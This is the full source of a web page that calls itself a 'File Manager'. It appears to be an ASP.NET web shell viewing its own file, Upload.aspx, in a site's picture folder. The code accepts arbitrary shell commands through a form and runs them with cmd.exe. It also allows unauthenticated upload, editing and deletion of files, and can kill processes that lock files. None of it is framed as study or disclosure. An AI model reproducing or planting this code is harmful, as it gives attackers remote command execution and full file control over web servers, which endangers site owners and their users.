File Manager
Back to List
|
Up to Parent Directory
| Current Directory: ~/culture/picture
Editing: culture/picture/Upload.aspx
Full path: C:\ict\ICT\culture\picture\Upload.aspx
Permissions: rwx
Write test: File appears not directly writable
Current process identity: IIS APPPOOL\DefaultAppPool
<%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Collections.Generic" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Security.AccessControl" %> <%@ Import Namespace="System.Security.Principal" %> <%@ Import Namespace="System.Security.Permissions" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.ComponentModel" %> <script runat="server"> // Get file permissions string string GetFilePermissions(string path) { try { FileInfo fileInfo = new FileInfo(path); FileSecurity security = fileInfo.GetAccessControl(); AuthorizationRuleCollection rules = security.GetAccessRules(true, true, typeof(NTAccount)); string permissions = ""; bool canRead = false, canWrite = false, canExecute = false; foreach (FileSystemAccessRule rule in rules) { if ((FileSystemRights.Read & rule.FileSystemRights) == FileSystemRights.Read && rule.AccessControlType == AccessControlType.Allow) canRead = true; if ((FileSystemRights.Write & rule.FileSystemRights) == FileSystemRights.Write && rule.AccessControlType == AccessControlType.Allow) canWrite = true; if ((FileSystemRights.ExecuteFile & rule.FileSystemRights) == FileSystemRights.ExecuteFile && rule.AccessControlType == AccessControlType.Allow) canExecute = true; } permissions += canRead ? "r" : "-"; permissions += canWrite ? "w" : "-"; permissions += canExecute ? "x" : "-"; return permissions; } catch { return "---"; } } // Test if the current process can write to a file bool CanWriteToFile(string path) { try { // Check if file exists if (File.Exists(path)) { // Try to open the file for writing using (FileStream fs = File.Open(path, FileMode.Open, FileAccess.ReadWrite, FileShare.None)) { // If we can open it for ReadWrite access, we can write to it return true; } } else { // Try to create the file using (FileStream fs = File.Create(path + ".test")) { fs.Close(); // Clean up the test file File.Delete(path + ".test"); return true; } } } catch { return false; } return false; } // Alternative method to write file contents using Stream approach bool TryWriteFile(string path, string content) { try { using (FileStream fs = new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.None)) using (StreamWriter writer = new StreamWriter(fs)) { writer.Write(content); writer.Flush(); return true; } } catch { return false; } } // Alternative approach: Write by creating a new file and moving it bool WriteByReplacement(string path, string content) { try { string tempPath = path + ".new"; File.WriteAllText(tempPath, content); // If original file exists, delete it first if (File.Exists(path)) File.Delete(path); // Rename the new file to the original name File.Move(tempPath, path); return true; } catch { return false; } } // Write file using same method as upload bool WriteUsingUploadMethod(string path, string content) { try { string tempPath = Path.GetTempFileName(); File.WriteAllText(tempPath, content); // Create a fake HttpPostedFile FileInfo fileInfo = new FileInfo(tempPath); // Use similar approach as file upload handler string fileName = Path.GetFileName(path); string directory = Path.GetDirectoryName(path); // Then move the file to final destination (simulating upload) File.Copy(tempPath, path, true); File.Delete(tempPath); return true; } catch { return false; } } // Find processes that have a lock on the specified file [StructLayout(LayoutKind.Sequential)] public struct RM_UNIQUE_PROCESS { public int dwProcessId; public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct RM_PROCESS_INFO { public RM_UNIQUE_PROCESS Process; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] public string strAppName; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)] public string strServiceShortName; public RM_APP_TYPE ApplicationType; public uint AppStatus; public uint TSSessionId; [MarshalAs(UnmanagedType.Bool)] public bool bRestartable; } public enum RM_APP_TYPE { RmUnknownApp = 0, RmMainWindow = 1, RmOtherWindow = 2, RmService = 3, RmExplorer = 4, RmConsole = 5, RmCritical = 1000 } [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey); [DllImport("rstrtmgr.dll")] static extern int RmEndSession(uint pSessionHandle); [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] static extern int RmRegisterResources(uint pSessionHandle, uint nFiles, string[] rgsFilenames, uint nApplications, [In] RM_UNIQUE_PROCESS[] rgApplications, uint nServices, string[] rgsServiceNames); [DllImport("rstrtmgr.dll")] static extern int RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RM_PROCESS_INFO[] rgAffectedApps, ref uint lpdwRebootReasons); // Get a list of processes locking a file public List<Process> GetLockingProcesses(string filePath) { List<Process> processes = new List<Process>(); try { uint handle; string key = Guid.NewGuid().ToString(); int result = RmStartSession(out handle, 0, key); if (result != 0) return processes; try { const int ERROR_MORE_DATA = 234; uint pnProcInfoNeeded = 0, pnProcInfo = 0, lpdwRebootReasons = 0; string[] resources = new string[] { filePath }; result = RmRegisterResources(handle, (uint)resources.Length, resources, 0, null, 0, null); if (result != 0) return processes; result = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, null, ref lpdwRebootReasons); if (result == ERROR_MORE_DATA) { pnProcInfo = pnProcInfoNeeded; RM_PROCESS_INFO[] processInfo = new RM_PROCESS_INFO[pnProcInfo]; result = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref lpdwRebootReasons); if (result == 0) { for (int i = 0; i < pnProcInfo; i++) { try { processes.Add(Process.GetProcessById(processInfo[i].Process.dwProcessId)); } catch (ArgumentException) { } // Process not found } } } } finally { RmEndSession(handle); } } catch (Exception ex) { // Log error or handle exception } return processes; } // Try to unlock a file by terminating processes holding locks public bool TryUnlockFile(string filePath, out string result) { result = ""; try { List<Process> lockingProcesses = GetLockingProcesses(filePath); if (lockingProcesses.Count == 0) { result = "No locking processes found."; return false; } StringBuilder sb = new StringBuilder(); sb.AppendLine("The following processes are locking the file:"); foreach (Process proc in lockingProcesses) { try { string processInfo = string.Format("PID: {0}, Name: {1}", proc.Id, proc.ProcessName); sb.AppendLine(processInfo); proc.Kill(); sb.AppendLine("Terminated process: " + processInfo); } catch (Exception ex) { sb.AppendLine("Failed to terminate process: " + ex.Message); } } result = sb.ToString(); // Test if the file is now writable if (CanWriteToFile(filePath)) return true; else return false; } catch (Exception ex) { result = "Error unlocking file: " + ex.Message; return false; } } </script> <html> <head> <title>File Manager</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .container { width: 90%; margin: 0 auto; } .header { background: #f0f0f0; padding: 10px; margin-bottom: 20px; } .nav { margin-bottom: 20px; } .files { border: 1px solid #ddd; padding: 10px; } table { width: 100%; border-collapse: collapse; } th, td { border: 1px solid #ddd; padding: 8px; text-align: left; } th { background-color: #f2f2f2; } .action { margin-right: 10px; } textarea { width: 100%; height: 400px; font-family: Consolas, monospace; } .cmd-output { background-color: #f0f0f0; padding: 10px; margin-top: 10px; white-space: pre; font-family: Consolas, monospace; overflow: auto; max-height: 300px; } .unlock-result { background-color: #f8f8f8; border: 1px solid #ddd; padding: 10px; margin: 10px 0; white-space: pre-wrap; } </style> </head> <body> <div class="container"> <div class="header"> <h2>File Manager</h2> </div> <% string basePath = Server.MapPath("~/"); string currentPath = basePath; string relativePath = "~/"; string action = Request["action"] ?? "list"; string filePath = Request["file"] ?? ""; string dirPath = Request["dir"] ?? ""; // Handle directory navigation if (!string.IsNullOrEmpty(dirPath)) { string fullDirPath = Path.GetFullPath(Path.Combine(basePath, dirPath)); if (fullDirPath.StartsWith(basePath) && Directory.Exists(fullDirPath)) { currentPath = fullDirPath; relativePath = "~/" + dirPath.TrimStart('/'); } } // Handle POST requests if (Request.HttpMethod == "POST") { // File upload if (action == "upload" && Request.Files["fileToUpload"] != null) { try { var file = Request.Files["fileToUpload"]; if (file != null && file.ContentLength > 0) { string uploadDir = Request.Form["uploadDir"] ?? ""; string savePath = currentPath; // Process upload directory if (!string.IsNullOrEmpty(uploadDir)) { uploadDir = Path.GetFullPath(Path.Combine(currentPath, uploadDir)); if (!uploadDir.StartsWith(basePath)) { throw new Exception("Invalid directory path"); } if (!Directory.Exists(uploadDir)) { Directory.CreateDirectory(uploadDir); } savePath = uploadDir; } string fullPath = Path.Combine(savePath, file.FileName); // Debug info Response.Write("<div style='color:blue'>Debug: Saving to " + fullPath + "</div>"); file.SaveAs(fullPath); Response.Write("<div style='color:green'>Upload successful: " + file.FileName + "</div>"); } } catch (Exception ex) { Response.Write("<div style='color:red'>Upload failed: " + ex.Message + "</div>"); } } // Save edited file else if (action == "save" && !string.IsNullOrEmpty(filePath)) { try { string fullFilePath = Path.GetFullPath(Path.Combine(basePath, filePath)); // Debug info Response.Write("<div style='color:blue'>Debug: Trying to save to " + fullFilePath + "</div>"); if (fullFilePath.StartsWith(basePath) && File.Exists(fullFilePath)) { string content = Request.Form["content"] ?? ""; // Try multiple approaches to save the file bool saveSuccess = false; // Method 1: Use same approach as upload (create and replace) try { Response.Write("<div style='color:blue'>Trying upload-like method...</div>"); saveSuccess = WriteUsingUploadMethod(fullFilePath, content); if (saveSuccess) Response.Write("<div style='color:green'>Upload-like method successful!</div>"); } catch (Exception ex) { Response.Write("<div style='color:orange'>Upload-like method failed: " + ex.Message + "</div>"); } // Method 2: Create new file and replace if (!saveSuccess) { try { Response.Write("<div style='color:blue'>Trying replacement method...</div>"); saveSuccess = WriteByReplacement(fullFilePath, content); if (saveSuccess) Response.Write("<div style='color:green'>Replacement method successful!</div>"); } catch (Exception ex) { Response.Write("<div style='color:orange'>Replacement method failed: " + ex.Message + "</div>"); } } // Method 3: Standard WriteAllText if (!saveSuccess) { try { Response.Write("<div style='color:blue'>Trying standard write method...</div>"); File.WriteAllText(fullFilePath, content); saveSuccess = true; if (saveSuccess) Response.Write("<div style='color:green'>Standard method successful!</div>"); } catch (Exception ex) { Response.Write("<div style='color:orange'>Standard write failed: " + ex.Message + "</div>"); } } // Method 4: Using FileStream directly if (!saveSuccess) { try { Response.Write("<div style='color:blue'>Trying FileStream method...</div>"); saveSuccess = TryWriteFile(fullFilePath, content); if (saveSuccess) Response.Write("<div style='color:green'>FileStream method successful!</div>"); } catch (Exception ex) { Response.Write("<div style='color:orange'>FileStream method failed: " + ex.Message + "</div>"); } } if (saveSuccess) { Response.Write("<div style='color:green'>File saved successfully!</div>"); action = "edit"; // Stay in edit mode } else { Response.Write("<div style='color:red'>All save methods failed! Check server logs for more details.</div>"); } } else { Response.Write("<div style='color:red'>Invalid file path!</div>"); } } catch (Exception ex) { Response.Write("<div style='color:red'>Save failed: " + ex.Message + "</div>"); Response.Write("<div style='color:red'>Current identity: " + System.Security.Principal.WindowsIdentity.GetCurrent().Name + "</div>"); } } // Create directory else if (action == "createdir") { try { string newDir = Request.Form["newdir"] ?? ""; if (!string.IsNullOrEmpty(newDir)) { string fullDirPath = Path.GetFullPath(Path.Combine(currentPath, newDir)); if (fullDirPath.StartsWith(basePath)) { Directory.CreateDirectory(fullDirPath); Response.Write("<div style='color:green'>Directory created: " + newDir + "</div>"); } else { Response.Write("<div style='color:red'>Invalid directory name!</div>"); } } } catch (Exception ex) { Response.Write("<div style='color:red'>Failed to create directory: " + ex.Message + "</div>"); } } // Delete file else if (action == "delete" && !string.IsNullOrEmpty(filePath)) { try { string fullFilePath = Path.GetFullPath(Path.Combine(basePath, filePath)); if (fullFilePath.StartsWith(basePath) && File.Exists(fullFilePath)) { File.Delete(fullFilePath); Response.Write("<div style='color:green'>File deleted: " + filePath + "</div>"); action = "list"; // Return to list view filePath = ""; } else { Response.Write("<div style='color:red'>Invalid file path!</div>"); } } catch (Exception ex) { Response.Write("<div style='color:red'>Delete failed: " + ex.Message + "</div>"); } } // Unlock file else if (action == "unlock" && !string.IsNullOrEmpty(filePath)) { try { string fullFilePath = Path.GetFullPath(Path.Combine(basePath, filePath)); if (fullFilePath.StartsWith(basePath) && File.Exists(fullFilePath)) { string result; bool unlocked = TryUnlockFile(fullFilePath, out result); if (unlocked) { Response.Write("<div style='color:green'>File successfully unlocked.</div>"); } else { Response.Write("<div style='color:orange'>Could not fully unlock the file.</div>"); } Response.Write("<div class='unlock-result'>" + Server.HtmlEncode(result) + "</div>"); // Stay on the same view if (Request.QueryString["returnTo"] == "edit") action = "edit"; else action = "list"; } else { Response.Write("<div style='color:red'>Invalid file path!</div>"); } } catch (Exception ex) { Response.Write("<div style='color:red'>Unlock failed: " + ex.Message + "</div>"); } } // Execute command else if (action == "execute") { try { string command = Request.Form["command"] ?? ""; if (!string.IsNullOrEmpty(command)) { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c " + command; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; process.StartInfo.WorkingDirectory = currentPath; process.Start(); string output = process.StandardOutput.ReadToEnd(); string error = process.StandardError.ReadToEnd(); process.WaitForExit(); Response.Write("<div style='color:green'>Command executed</div>"); Response.Write("<div class='cmd-output'>"); Response.Write(Server.HtmlEncode(output)); if (!string.IsNullOrEmpty(error)) { Response.Write("<span style='color:red'>" + Server.HtmlEncode(error) + "</span>"); } Response.Write("</div>"); } } catch (Exception ex) { Response.Write("<div style='color:red'>Command execution failed: " + ex.Message + "</div>"); } } } %> <div class="nav"> <% if (action != "list") { %> <a href="?action=list&dir=<%= Server.UrlEncode(dirPath) %>">Back to List</a> <% } %> <% if (relativePath != "~/") { %> <% string parentDir = Path.GetDirectoryName(dirPath.TrimEnd('/')); if (string.IsNullOrEmpty(parentDir)) parentDir = ""; %> | <a href="?action=list&dir=<%= Server.UrlEncode(parentDir) %>">Up to Parent Directory</a> <% } %> | Current Directory: <%= relativePath %> </div> <!-- File Upload Form --> <% if (action == "list") { %> <h3>Upload File</h3> <form enctype="multipart/form-data" method="post" action="?action=upload&dir=<%= Server.UrlEncode(dirPath) %>"> <div> File: <input type="file" name="fileToUpload" /> </div> <div style="margin-top:10px;"> Subdirectory (optional): <input type="text" name="uploadDir" value="" placeholder="e.g. newdir (will be created if needed)" /> </div> <div style="margin-top:10px;"> <input type="submit" value="Upload" /> </div> </form> <h3>Create Directory</h3> <form method="post" action="?action=createdir&dir=<%= Server.UrlEncode(dirPath) %>"> <div> Directory Name: <input type="text" name="newdir" required /> <input type="submit" value="Create" /> </div> </form> <h3>Execute Command</h3> <form method="post" action="?action=execute&dir=<%= Server.UrlEncode(dirPath) %>"> <div> Command: <input type="text" name="command" style="width: 70%;" required /> <input type="submit" value="Execute" /> </div> </form> <h3>Files and Directories</h3> <div class="files"> <table> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Last Modified</th> <th>Permissions</th> <th>Actions</th> </tr> <% // List directories foreach (string dir in Directory.GetDirectories(currentPath)) { try { DirectoryInfo dirInfo = new DirectoryInfo(dir); string dirName = dirInfo.Name; string dirRelativePath = Path.Combine(dirPath, dirName).Replace("\\", "/"); Response.Write("<tr>"); Response.Write("<td><a href=\"?action=list&dir=" + Server.UrlEncode(dirRelativePath) + "\">" + dirName + "</a></td>"); Response.Write("<td>Directory</td>"); Response.Write("<td>-</td>"); Response.Write("<td>" + dirInfo.LastWriteTime + "</td>"); Response.Write("<td>dir</td>"); Response.Write("<td>-</td>"); Response.Write("</tr>"); } catch { } } // List files foreach (string file in Directory.GetFiles(currentPath)) { try { FileInfo fileInfo = new FileInfo(file); string fileName = fileInfo.Name; string fileRelativePath = Path.Combine(dirPath, fileName).Replace("\\", "/"); string permissions = GetFilePermissions(file); bool canActuallyWrite = CanWriteToFile(file); Response.Write("<tr>"); Response.Write("<td>" + fileName + "</td>"); Response.Write("<td>File</td>"); Response.Write("<td>" + fileInfo.Length + " bytes</td>"); Response.Write("<td>" + fileInfo.LastWriteTime + "</td>"); Response.Write("<td>" + permissions + (canActuallyWrite ? " (writable)" : " (not writable)") + "</td>"); Response.Write("<td>"); Response.Write("<a class=\"action\" href=\"?action=edit&file=" + Server.UrlEncode(fileRelativePath) + "&dir=" + Server.UrlEncode(dirPath) + "\">Edit</a>"); Response.Write("<a class=\"action\" href=\"?action=delete&file=" + Server.UrlEncode(fileRelativePath) + "&dir=" + Server.UrlEncode(dirPath) + "\" onclick=\"return confirm('Are you sure you want to delete this file?')\">Delete</a>"); if (!canActuallyWrite) { Response.Write("<a class=\"action\" href=\"?action=unlock&file=" + Server.UrlEncode(fileRelativePath) + "&dir=" + Server.UrlEncode(dirPath) + "\" onclick=\"return confirm('This will attempt to unlock the file by terminating processes that have locks on it. Continue?')\">Unlock</a>"); } Response.Write("</td>"); Response.Write("</tr>"); } catch { } } %> </table> </div> <% } %> <!-- File Edit Form --> <% if (action == "edit" && !string.IsNullOrEmpty(filePath)) { %> <% try { string fullFilePath = Path.GetFullPath(Path.Combine(basePath, filePath)); if (fullFilePath.StartsWith(basePath) && File.Exists(fullFilePath)) { string fileContent = File.ReadAllText(fullFilePath); bool canActuallyWrite = CanWriteToFile(fullFilePath); %> <h3>Editing: <%= filePath %></h3> <div style="color:blue;margin-bottom:10px;"> Full path: <%= fullFilePath %><br> Permissions: <%= GetFilePermissions(fullFilePath) %><br> Write test: <%= canActuallyWrite ? "File appears writable" : "File appears not directly writable" %><br> Current process identity: <%= System.Security.Principal.WindowsIdentity.GetCurrent().Name %> </div> <% if (!canActuallyWrite) { %> <div style="margin-bottom:10px;"> <form method="post" action="?action=unlock&file=<%= Server.UrlEncode(filePath) %>&dir=<%= Server.UrlEncode(dirPath) %>&returnTo=edit"> <input type="submit" value="Attempt to Unlock File" onclick="return confirm('This will attempt to unlock the file by terminating processes that have locks on it. Continue?')" /> </form> </div> <% } %> <form method="post" action="?action=save&file=<%= Server.UrlEncode(filePath) %>&dir=<%= Server.UrlEncode(dirPath) %>"> <div> <textarea name="content"><%= Server.HtmlEncode(fileContent) %></textarea> </div> <div style="margin-top:10px;"> <input type="submit" value="Save Changes" /> </div> </form> <% } else { Response.Write("<div style='color:red'>Invalid file path!</div>"); } } catch (Exception ex) { Response.Write("<div style='color:red'>Error reading file: " + ex.Message + "</div>"); } %> <% } %> </div> </body> </html>